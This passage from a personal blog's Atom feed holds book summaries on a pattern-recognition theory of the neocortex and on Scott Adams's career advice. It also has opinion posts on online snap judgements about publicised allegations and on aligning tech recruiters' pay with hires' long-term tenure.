<a href="https://en.wikipedia.org/wiki/Charles_Darwin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Charles Darwin</a>&rsquo;s theory of evolution.</li>
<li>Both of them engaged in thought experiments looking for how things around them attained their states and discovered underlying phenomena.</li>
<li>Similarly, Einstein, after reading about the experiments which concluded that the relative speed of light is always constant, engaged in thought experiments that eventually lead to the &ldquo;Theory of relativity&rdquo;.</li>
<li>The human brain is remarkably amazing in its ability to identify such patterns and discover underlying phenomena just by thinking.</li>
</ol>
<h2 id="thought-experiments-on-thinking">Thought experiments on thinking</h2>
<ol>
<li>Experiment 1: It is easy to recite the alphabet going from A to Z, but difficult to do the reverse. The same experiment can be done for things like rhymes and poems. The conclusion is that <strong>Our memories are stored in sequential order. They can be accessed only in that sequential order.</strong></li>
<li>Experiment 2: Try visualizing a person/situation which was encountered only once or twice, it is very difficult to visualize the details =&gt; <strong>Our memories are stored as a sequence of patterns, there are no images, videos, or sound recordings. Memories that are not accessed dim over time.</strong></li>
<li>We can recognize even partial patterns with alterations <strong>, our recognition ability detects patterns that survive real-world variations.</strong></li>
<li>Our conscious experience of our perceptions is changed by our interpretations <strong>,</strong> we continuously <strong>predict the future and hypothesize what we will experience</strong> and this influences the actual perception <strong>.</strong></li>
<li>Routine procedures are stored as <strong>organized hierarchies</strong> in the human brain, the same ability is used for recognizing objects and situations.</li>
</ol>
<h2 id="a-model-of-the-neocortex">A model of the neocortex</h2>
<ol>
<li>The Neocortex is responsible for hierarchical patterns of information and hierarchical thinking. Some scientists call it the &ldquo;new brain&rdquo; as opposed to the reptilian &ldquo;old brain&rdquo; which is more tuned towards short-term things like getting food, avoiding becoming someone&rsquo;s food and having sex.</li>
<li>Humans have a really large forehead and large neocortex compared to other mammals. It has roughly 300 million pattern recognizers.</li>
<li>A human master in a particular field knows about 100, 000 chunks of knowledge.</li>
<li>  
    
    
<a href="https://www.newyorker.com/online/blogs/books/2012/11/ray-kurzweils-dubious-new-theory-of-mind.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pattern recognition theory of mind</a> - Neocortex has multiple layers of neurons, based on sensory inputs, some of the first layer neurons are triggered, and those that trigger beyond a certain threshold, fire the second layer of neurons, the second layer matches higher-level patterns than the first layer, the higher layer can send a back signal and reduce or increase the triggering threshold of the previous layers. This is the prediction and hypothesis part.</li>
<li>Memory is effectively a list of patterns. They will trigger with appropriate input leading to the recall of that memory. Since we capture patterns, our memory is only an approximation of events that happened in the past.</li>
<li>Learning  - it&rsquo;s difficult to learn too many conceptual levels simultaneously. It is difficult to train multiple layers simultaneously. We learn a level and as it stabilizes, we move to the next one.</li>
<li>Misunderstanding - A person tries to convey patterns in his neocortex to another person&rsquo;s neocortex using &ldquo;language&rdquo; which itself is a set of patterns in the neocortex, these differences in patterns cause misunderstanding.</li>
<li>Directed thinking  - where we consciously try to direct our thoughts toward understanding or solving a certain problem</li>
<li>Undirected thinking - where we experience sudden recollection of memories, triggers of which appear to be non-logical.</li>
<li>Confabulation - We subconsciously make up stories to justify our actions that cannot be explained logically. This is more pronounced in split-brain patients where the left and right hemispheres are not connected - leading to one part of the brain reacting and the other one confabulating to justify the action.</li>
<li>Culture, society, and profession predict certain norms, and this trains our neocortex to think in certain ways, this ensures social order but at the same time makes it difficult to think differently, which Darwin or Einstein did! In dreams, these norms are usually a bit relaxed.</li>
</ol>
<h2 id="the-biological-neocortex">The biological neocortex</h2>
<ol>
<li>The human brain is unusually large, its a cause of a higher maternal mortality rate among humans compared to other mammals and requires a pivoting gait which   
    
    
<a href="https://everything2.com/title/The&#43;significant&#43;costs&#43;of&#43;the&#43;large&#43;human&#43;brain?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">makes</a> women biomechanically less efficient walkers than men.</li>
<li>The neocortex is a repetitive structure consisting of an &ldquo;assembly of neurons&rdquo; where each assembly is ~100 neurons and connections inside each assembly are similar. The connections between assemblies are dynamic, new ones are formed as needed and old unneeded ones are pruned away.</li>
<li>The neocortex is highly &ldquo;plastic&rdquo; - meaning if a part which deals with say, vision is damaged, slowly another part develops the lost set of patterns.</li>
<li>A genome has about 25 million bytes after lossless compression while total connections in the neocortex are ~ 10^15 =&gt; most connections are not determined genetically but built over time.</li>
<li>Over time, the field of AI (Artificial Intelligence) has developed the same set of techniques, that are believed to exist in the neocortex, to process real-world information like human speech and written language.</li>
</ol>
<h2 id="the-old-brain">The old brain</h2>
<ol>
<li>Optic nerves have 12 output channels - one recognizes edges, another recognizes large areas of uniform color, and another focuses on background =&gt; effectively we only see patterns rather than exact details.</li>
<li>The human cochlea catches sound vibrations and extracts about 3000 bands of information.</li>
<li>The Thalamus process information coming from various parts of the body, including eyes and ears) before handing them over to the neocortex.</li>
<li>Neocortex on its own cannot do directed thinking, it requires inputs coming from Thalamus.</li>
<li>The   
    
    
<a href="https://en.wikipedia.org/wiki/Hippocampus?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hippocampus</a> is the area where short-term pattern forming happens, these patterns are transferred to the neocortex for the long term. Alzheimer&rsquo;s disease attacks the Hippocampus first.</li>
<li>The cerebellum controls quick motions like catching a ball.</li>
<li>The old premammalian brain is addicted to pleasures like food and sex. Neocortex in mammals allows us to control primitive desires. Dopamine and Serotonin play a role in the feeling of pleasure.</li>
<li>Amygdala controls &ldquo;fear&rdquo;, that is flight or fight decisions - on detecting danger, it causes a sudden rise in blood pressure, heart rate, and respiration rate.</li>
<li>Feeling happens in both the old and new brain while thinking happens only in the new brain (&ldquo;neocortex&rdquo;).</li>
</ol>
<h2 id="transcendent-abilities">Transcendent abilities</h2>
<ol>
<li>Emotional thoughts take place in spindle neurons - humans have a lot more of them than other animals. Newborns don&rsquo;t have them but they are developed over the age of 4 months to 3 years. This is when a child learns emotions and morality.</li>
<li>The ability of the neocortex to master signals of fear from the Amygdala plays a role in confidence, organizational skills, and the ability to influence others.</li>
<li>Creativity - A key aspect of creativity is finding metaphors which the neocortex is good at. Learning new patterns from different fields helps in learning more metaphors, making the brain more creative.</li>
<li>Love -   
    
    
<a href="https://www.chm.bris.ac.uk/webprojects2001/millward/phenylethylamine.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Phenylethylamine</a> (PEA) causes the feeling of &ldquo;love&rdquo; - high energy level, focused attention, and craving to be with someone. Oxytocin encourages long-term bonding, that is, monogamous relations. Prairie vole is monogamous because of oxytocin receptors while montane vole engages in short-term relations because of lack of them.</li>
<li>Love in humans exists primarily to satisfy the need of the neocortex as primitive lust was sufficient for reproduction. A loved one becomes a major part of one&rsquo;s neocortex and after spending decades together, a virtual other exists which can anticipate every move of the loved one. When we lose the person, we are still left with patterns in the neocortex which trigger, except triggers change from delight to mourning.</li>
</ol>
<h2 id="the-biologically-inspired-digital-neocortex">The biologically inspired digital neocortex</h2>
<ol>
<li>Neocortex replaces the process of slow evolution with fast learning and that&rsquo;s one reason for the advancement of the human race. Since even a single human finds something new, everyone can learn that without relying on it appearing in the genetic code.</li>
<li>A digital neocortex will provide a factor of a thousand to a million speed up over the biological cortex.</li>
<li>Several attempts to do brain simulations at both the functional level as well as the molecular level are being done. By 2020, there will be sufficient computational power to simulate the human brain.</li>
<li>Techniques being used are neural networks, vector quantization (for sparse coding), HHMM (hierarchical hidden Markov models), and evolutionary genetic algorithms.</li>
<li>Watson, Google Translate, and Wolfram are some major works done in the direction of processing and generating real-world information.</li>
</ol>
<h2 id="the-mind-as-a-computer">The mind as a computer</h2>
<ol>
<li>The brain is slow but massively parallel.</li>
<li>In the human brain, 300 million pattern recognizers can be fired together.</li>
<li>The computers are fast but do not have sufficient parallelism.</li>
</ol>
<h2 id="thought-experiments-on-the-mind">Thought experiments on the mind</h2>
<ol>
<li>Consciousness is a heated topic of debate among philosophers. There are no agreements on &ldquo;Are plants conscious?&rdquo; or &ldquo;Are babies conscious?&rdquo;. The general agreement is that the &ldquo;ability to act according to one&rsquo;s free will&rdquo; (implying nondeterminism) is consciousness.</li>
<li>  
    
    
<a href="https://consc.net/papers/panpsychism.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Panprotopsychism</a> says that everything is conscious, &ldquo;humans are more conscious than a light bulb&rdquo;.</li>
<li>The author predicts that by 2029, we can expect to see &ldquo;digital consciousness&rdquo;.</li>
<li>Western perspective - consciousness is an emergent property of the complex system.</li>
<li>Eastern perspective - consciousness is a fundamental property, the physical world only comes into existence through the thoughts of conscious beings.</li>
<li>The existence of &ldquo;free will&rdquo; is a hotly debated topic - the existence of free will requires non-determinism in actions and experts don&rsquo;t agree on whether humans have free will, compared to say Watson, or are the actions predetermined. Some philosophers believe that the future is completely deterministic but complex enough to be unpredictable.</li>
<li>There are also disagreements on what constitutes identity - the author holds the position that a snapshot of the neocortex (or brain, in general) is a person&rsquo;s identity, and hence, identity, in principle, is not unique and can be replicated.</li>
</ol>
<h2 id="the-law-of-accelerating-returns-applied-to-the-brain">The law of accelerating returns applied to the brain</h2>
<ol>
<li>Most technologies follow the   
    
    
<a href="https://en.wikipedia.org/wiki/Technology_life_cycle?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">S-curve</a>, that is, slow start, rapid growth, and then maturity. But at the end of its life cycle, it&rsquo;s replaced by something else, eg. Transistors replaced vacuum tubes.</li>
<li>Most technologies like processing power, storage capacity, brain imaging resolution, etc. are growing at an exponential pace and leading to a &ldquo;Law of accelerating returns&rdquo;. Hence, a digital brain will arrive faster than most people expect.</li>
</ol>
<h2 id="objections">Objections</h2>
<ol>
<li>This chapter talks about objections raised to the previous work of the author - not much relevant to the rest of the book.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Advent of snap judgement and Internet's permanence</title><link href="https://ashishb.net/tech/internet-activists-the-advent-of-snap-judgement-and-internets-permanence/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="related" type="text/html" title='"Material design" and Google&#39;s strategy'/><link href="https://ashishb.net/tech/random-thoughts-on-bitcoin-part-2/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bitcoin (part 2)"/><link href="https://ashishb.net/tech/fixing-tech-recruiting/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on fixing tech recruiting"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="related" type="text/html" title="Intel will lose server market even faster than consumer"/><id>https://ashishb.net/tech/internet-activists-the-advent-of-snap-judgement-and-internets-permanence/</id><author><name>Ashish Bhatia</name></author><published>2014-04-29T06:45:10+00:00</published><updated>2014-04-29T06:45:10+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the dangers of internet activism and snap judgments in the digital age. Discover how allegations online can ruin reputations permanently, regardless of truth.</blockquote><p>In 2013, we saw how internet activists&rsquo; snap judgments about the interpretation (or misinterpretation?) of jokes at pycon destroyed the professional career of two individuals (Source:   
    
    
<a href="https://techcrunch.com/2013/03/21/a-dongle-joke-that-spiraled-way-out-of-control/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">A Dongle Joke That Spiraled Way Out Of Control</a>).
The internet activism first sympathized with Adria Richards and then decided to side with the developer, eventually, both of them (and SendGrid customers temporarily) took a major hit which could probably have been resolved offline and would have never become a part of permanent history.</p>
<p>As if this was not enough, this year the same story has been repeated with   
    
    
<a href="https://en.wikipedia.org/wiki/Gurbaksh_Chahal?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gurubaksh Chahal</a> and his girlfriend Juliet Kakish.
The claim goes that he <em>allegedly</em> hit his girlfriend 117 times and she <em>allegedly</em> suffered bruises and injuries, there is an <em>alleged</em> video of that proving the same (I haven&rsquo;t been able to find one yet that does not imply it does not exist though) (Source:   
    
    
<a href="https://techcrunch.com/2014/04/26/a-letter-to-the-board-members-of-radiumone/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">A Letter To The Board Members Of RadiumOne</a>).</p>
<p>Gurubksh Chahal has <em>alleged</em> that she &ldquo;was having unprotected sex for money with other people&rdquo;, he also <em>alleged</em> that &ldquo;the girl in question here, was herself so appalled by the false allegations made by the police, that she agreed to be photographed to demonstrate that there were no bruises or injuries&rdquo;. He further <em>alleged</em> that &ldquo;She called 9-11 after I told her I was going to contact her father regarding her activities.&rdquo; (Source:   
    
    
<a href="https://www.chahal.com/can-you-handle-the-truth?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Can you handle the truth?</a>)</p>
<p>Note, the word &ldquo;allegation&rdquo; here. Everything above has just been alleged. No one knows what the reality is, apart from the fact that Gurubaksh was eventually charged with a misdemeanor (minor crime) and let off with 45 felonies (serious) counts.
Characters of two individuals have been questioned and destroyed,   
    
    
<a href="https://www.forbes.com/sites/kashmirhill/2014/04/28/to-really-punish-gurbaksh-chahal-opt-out-of-radiumones-ads/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Forbes</a> made a call for boycotting Radium One ad and all that just based on a set of allegations, and   
    
    
<a href="https://www.slate.com/blogs/moneybox/2014/04/24/radiumone_founder_pleads_guilty_to_domestic_abuse.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Slate</a> asked for CEO Gurubaksh to step down.
Of course, the woman has not come out with her side of the story yet and that might add a radically new set of facts and perspectives that everyone could have missed.</p>
<p>First, our journalists lost the patience to do fact verification (not only of funny   
    
    
<a href="https://www.esquire.com/blogs/news/we-broke-the-internet?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hoaxes</a> but also of critically important stories like   
    
    
<a href="https://www.zdnet.com/the-real-story-in-the-nsa-scandal-is-the-collapse-of-journalism-7000016570/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Project Prism</a> stories) and now this   
    
    
<a href="https://www.urbandictionary.com/define.php?term=click%20whore&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">clickwhoring</a> has hit another low where stories are published based on allegations which make the perfect dessert for &ldquo;140-character&rdquo;  generation of   
    
    
<a href="https://www.washingtonpost.com/local/serious-reading-takes-a-hit-from-online-scanning-and-skimming-researchers-say/2014/04/06/088028d2-b5d2-11e3-b899-20667de76985_story.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">online skimmers</a>.</p>
<h2 id="a-more-fundamental-question">A more fundamental question</h2>
<p>The court of law has already acquitted him and now it&rsquo;s just a game of allegations.
Think for a while</p>
<ol>
<li>What if SFPD&rsquo;s allegations turn out to be wrong (or politically motivated)?</li>
<li>What if Gurubaksh Chahal&rsquo;s allegations are false?</li>
<li>What if the woman involved comes out with her side of &ldquo;allegations&rdquo; which adds a radical twist to the story?</li>
</ol>
<p>That&rsquo;s the reason, why democracy has a concept of a well-trained judiciary to look at a case from all potential angles (remember the   
    
    
<a href="https://en.wikipedia.org/wiki/O._J._Simpson_murder_case?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">O. J. Simpson trial</a>?).</p>
<p>If any one of these (or a more remote possibility which I cannot imagine right now) has happened, will any of the involved media apologize or correct their articles? Will that correction be of any impact on the minds of those who have already skimmed through the cheesy part and lost interest in this story?</p>
<p>Things would have been simpler had it not been for the permanence of the Internet. If not for the Internet, a few years from now, people would have forgotten the story.</p>
<h2 id="public-vs-publicized">Public vs Publicized</h2>
<p>A few years back New Zealand court made a remarkable ruling saying that names of individuals accused of a crime can not be published online (still allowing them to be published offline), the reason given was that once they reach the Internet, they became permanent even though crime has not been proven yet (Note: I am unable to find the link despite repeated searches but I remember reading the news).</p>
<p>A lot of things that were public in the pre-Internet era can now easily be publicized, police mugshots of individuals end up online where they are asked to pay to get them   
    
    
<a href="https://gizmodo.com/5949333/how-people-profit-from-your-online-mug-shot-and-ruin-your-life-forever?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">removed</a> (knowing that another website can still post them again).
Videos of intimate moments (made with consent) are later publicized in the form of revenge porn (See   
    
    
<a href="https://www.rollingstone.com/culture/news/the-most-hated-man-on-the-internet-20121113?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The most hated man on the Internet</a>) and of course, either gender can be targeted (   
    
    
<a href="https://www.seroundtable.com/boyfriend-spammed-12909.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Payback: Upset Ex-Girlfriend Spams Boyfriend In Google Images</a>)</p>
<p>The pre-Internet era laws never considered such situations where frictionless online sharing can be used to permanently destroy a person&rsquo;s social or professional life.</p>
<h2 id="thoughts-on-at-least-partially-fixing-it">Thoughts on (at least partially) fixing it</h2>
<p>Let&rsquo;s face it, anything which ends online will be permanent, laws can curtail things a bit but I believe at the least law enforcement institutions should reconsider their decision to make records of pending (or even solved cases where no major punishment was awarded) public, specifically, when they involve individuals.
After all, an individual&rsquo;s character is too big to be left to the snap judgment of Internet activists.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Thoughts on fixing tech recruiting</title><link href="https://ashishb.net/tech/fixing-tech-recruiting/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="related" type="text/html" title='"Material design" and Google&#39;s strategy'/><link href="https://ashishb.net/tech/random-thoughts-on-bitcoin-part-2/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bitcoin (part 2)"/><link href="https://ashishb.net/tech/internet-activists-the-advent-of-snap-judgement-and-internets-permanence/?utm_source=atom_feed" rel="related" type="text/html" title="Advent of snap judgement and Internet's permanence"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="related" type="text/html" title="Intel will lose server market even faster than consumer"/><id>https://ashishb.net/tech/fixing-tech-recruiting/</id><author><name>Ashish Bhatia</name></author><published>2014-04-05T08:26:22+00:00</published><updated>2014-04-05T08:26:22+00:00</updated><content type="html"><![CDATA[<blockquote>Revamp tech recruiting with long-term incentives. Reward recruiters based on candidate success and tenure, ensuring better fit and stability for companies.</blockquote><p>  
    
    
<a href="https://techcrunch.com/2013/05/05/there-is-in-fact-a-tech-talent-shortage-and-there-always-will-be/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Enough</a> articles have been written about   
    
    
<a href="https://www.linkedin.com/today/post/article/20140220005904-9101035-the-engineer-crunch?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">engineering</a>   
    
    
<a href="https://gigaom.com/2010/10/13/silicon-valley-talent-crunch/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">crunch</a> in the valley while some solutions like   
    
    
<a href="https://blog.samaltman.com/the-engineer-crunch?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">increasing</a> equity grants to engineers have been suggested, the bigger issue of the   
    
    
<a href="https://www.recruiterspam.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">broken recruiting</a> pipeline has not gained the attention it deserves. Its a job of recruiters to source potential candidates and most recruiters are compensated in form of a percentage (usually 20-30%) of the annual base salary of the hired individual.</p>
<p>Most companies, big or small, have a usual four-year vesting schedule for equity grant with one year cliff (ignoring   
    
    
<a href="https://venturehacks.com/articles/6-year-vesting?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">exceptions</a>). But most of the time, recruiters are compensated upfront almost as soon as candidate accepts the offer. Notice the misalignment of incentives. While companies are looking to hire someone for a longer duration, they are inherently rewarding recruiters can find &ldquo;selectable&rdquo; candidates who are just good enough to clear interviews since anything more would be a waste of effort with no regards to &ldquo;fit&rdquo; (technical and otherwise). Even weird is that since most recruiters work on contract basis for short durations, there is an incentive for them to get the candidate who joined the previous company to interview at his/her new contractor company. I have heard a few strange stories narrating the same.</p>
<p><strong>Why not compensate recruiters regarding the fraction of (salary + equity grant) of the hired engineer over the next four years too?</strong></p>
<p>This way, the recruiter will be incentivized</p>
<ol>
<li>to focus on a candidate who will show stability - work for at least four years.</li>
<li>To focus on a candidate who will be better than average - since more money/equity the candidate earns, the more reward recruiter will get.</li>
<li>To focus on a candidate who is a better fit - since a better fit is most likely to show stability as well as stay for long-term with the company.</li>
<li>To track candidates who are right - since maintaining a 10-20 years relationship with such candidates will be more fruitful.</li>
<li>To focus on a company whose equity will be meaningful - since a part of their compensation is in equity.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">How to Fail at Almost Everything by Dilbert Comics Creator Scott Adams</title><link href="https://ashishb.net/book-summary/how-to-fail-at-almost-everything-and-still-win-big/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="related" type="text/html" title="Influence: The Psychology of Persuasion by Robert B. Cialdini"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/the-last-lecture/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Last Lecture by Randy Pausch"/><link href="https://ashishb.net/book-summary/only-the-paranoid-survives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Only The Paranoid Survives by Andrew Grove"/><id>https://ashishb.net/book-summary/how-to-fail-at-almost-everything-and-still-win-big/</id><author><name>Ashish Bhatia</name></author><published>2014-03-30T22:56:01+00:00</published><updated>2014-03-30T22:56:01+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Scott Adams&rsquo; humorous take on success with practical lessons on passion, setting systems over goals, and maximizing personal energy for a rewarding career and life.</blockquote><p>The   
    
    
<a href="https://amzn.to/1i6hMIV?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is a humorous compilation of pragmatic lessons which Scott Adams learned while navigating his professional career.
The author admits his failures as well as successes openly.
He also talks about his personal medical problems - first his hand and then his speech.</p>
<p>Major takeaways from the book</p>
<ol>
<li><strong>Passion is bullshit</strong> Most people think passion causes success, it&rsquo;s usually the other way round.</li>
<li><strong>Goals vs Systems</strong> Goals are specific objectives while systems are to be followed on a regular basis. &ldquo;Losing 10 pounds&rdquo; is a goal, &ldquo;eating healthier&rdquo; is a system. Focus on better systems rather than goals. Systems-oriented people feel good every time they follow the system, goals-oriented are always busy chasing their goals and once they have attained it feel miserable (and start looking for another one). There are too many options (distractions) irrespective of the plan, the focus is important.</li>
<li><strong>Deciding vs wanting</strong> A lot of people want something, successful ones decide that they are going to pursue it and are willing to pay the price for the same.</li>
<li><strong>Being selfish is important</strong> Focus on self (be it food, exercise or career), once a reasonable level of success has been attained, you will automatically develop the feeling to start distributing its fruits.</li>
<li><strong>Maximize personal energy</strong> Always try to optimize personal energy (Something which you a positive mental or physical lift), some people enjoy solace, some crowded places, decide what maximizes your personal energy and do those activities in spare time. Maximizing personal energy is selfish but has the best impact on the person and his/her contribution to society in the long run.
Between optimization (doing many things optimally) and simplification (doing just a few things), pursue simplification in the long run since it maximizes personal energy.
Priorities (highest to lower)
Self &gt; Personal finance &gt; family &gt; community &gt; country &gt; world.</li>
<li><strong>Attitude</strong>
A positive attitude is not optional. Daydreaming, positive forms of entertainment, smiling, success (from anything spills into success in other fields), perceptions (even incorrect ones) - all contribute to the positive attitude.</li>
<li><strong>Who you know is important</strong> You don&rsquo;t need CEOs and billionaires, just knowing friends who know different things than you are sometimes sufficient.</li>
<li><strong>Recognizing your talents and knowing when to quit</strong>
Childhood obsessions and tolerance for risk are rough guides are talents. Deciding when to fight against an obstacle and when to quit is difficult, things which someday work out well, start out well (albeit small success), things which start bad usually never become successful.</li>
<li><strong>Repetition vs Novelty based jobs</strong>
Some jobs require a lot of practice (eg. sports), some require a lot of disciplined study and novelty (eg. software engineer, entrepreneur), decide which one suits your nature and choose a career path which is in line with your nature.</li>
<li><strong>Managing your Odds of Success</strong>
Every new skill you acquire doubles your odds of success.
It&rsquo;s better to be good at two complementary skills than excellent at one.
The more you learn, the easier it becomes to learn even more.
Read news about topics which interests you and which are positive in nature (avoid reading a lot about tragic events).</li>
<li><strong>The Maths of Success</strong>
Some skills increase odds of success - public speaking (Dale Carnegie&rsquo;s course), psychology (List of   
    
    
<a href="https://en.wikipedia.org/wiki/List_of_cognitive_biases?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">biases</a>), business writing(eg, using active over passive), accounting, design(basics - the L-shape), conversation, overcoming shyness, second language, golf, proper grammar, persuasion (being decisive, using write responses), technology and proper voice (pitch).</li>
<li><strong>Pattern Recognition</strong> Learn to recognize patterns in life.
Certain patterns are direct predictor of success.
As per the author, lack of fear of embarrassment, education, exercise and looking at success as learnable skill are major patterns for successful people.</li>
<li><strong>Humor</strong>
It&rsquo;s not just a form of entertainment, it helps in developing more social connections as well as boosts personal energy.</li>
<li><strong>Affirmations</strong> Repeat to yourself what you want to achieve while imagining the outcome you want. It improves the odds of success.
The author is careful at pointing out that there might a coincidence or his selection bias in play here.</li>
<li><strong>Timing is luck too</strong> Don&rsquo;t ignore the importance of timing in success.
The world is like a slot machine where one has to put time, focus and energy and occasional rare payoffs can be big.</li>
<li><strong>Experts</strong> Experts are 98% right on easy cases but only 50% on unusually complicated cases.
If your intuition disagrees with experts, go with intuition, it could be an indicator of some pattern recognition which you can&rsquo;t yet verbalize.</li>
<li><strong>Association Programming</strong> Humans are social animals, we are influenced by people near us.
Spend time with people who most represent what you would like to become. Their good habits and energy will rub off on you.</li>
<li><strong>Happiness</strong>
Happiness has more to do with self than with the situation.
Happiness has more to do with direction than the current situation (when things are going in the right direction, we are happy).
In a career, improvement of skills makes a person feel happy. So, focus on a career where you can improve over time.
The imagination of a brighter future makes a person happy.
Exercise, diet (eat right) and sleeping enough strongly influence happiness.
Routines make us happy since they reduce the number of choices we have at any time (   
    
    
<a href="https://www.ted.com/talks/barry_schwartz_on_the_paradox_of_choice?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">more choice makes us unhappy</a>). Reduce daily decisions for routines.
Help others (after helping yourself).</li>
<li><strong>Diet</strong>
Food impacts a person&rsquo;s mood. Pay attention to energy level after eating certain foods.
All humans are different, find patterns in food, which food makes you feel better, which ones make you feel sleepy.
Remove unhealthy energy draining food from home and stock convenient healthy food instead.
Get enough sleep, tiredness causes the illusion of hunger.
Willpower is a limited resource, using that to fight against cravings is a bad idea instead author suggests an alternative, make a list of healthy food items and decide that &ldquo;you will eat as much of healthy food items as you can&rdquo;.
Over time, you will stop eating unhealthy food, in the long run, the habits of eating healthy food in limited quantities will become the norm.
Getting recommended dietary allowance with just food is impossible.
If eating for social reasons, choose the lowest calorie options.
Author&rsquo;s diet consists primarily of complex carbs (like nuts), protein bar, fruits, and fish.
Don&rsquo;t make healthy food bland by avoiding butter and salt, it&rsquo;s better to eat healthy food with butter and salt than an unhealthy one.
The author recommends a vegetarian or near-vegetarian diet.
Coffee has higher highs and lower lows which aligns with creative workers, while it does make a person   
    
    
<a href="https://www.nytimes.com/1992/10/15/us/headache-you-skipped-your-coffee.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">addicted</a>, the trade-off is worth it.</li>
<li><strong>Fitness</strong>
Be active every day - don&rsquo;t use willpower to decide workout and don&rsquo;t do things you don&rsquo;t like. Do anything which feels pleasant, walking is fine too.
Always exercise at the same time (routine).
Try Exercising with the spouse if married.
Don&rsquo;t burn yourself out so that, the next day you won&rsquo;t be able to do it.
Reward yourself after workout eg. relaxed reading for a while after a workout.</li>
<li><strong>Failures</strong>
Failures will happen from time to time, learn from them and come forward because of that learning.</li>
</ol>
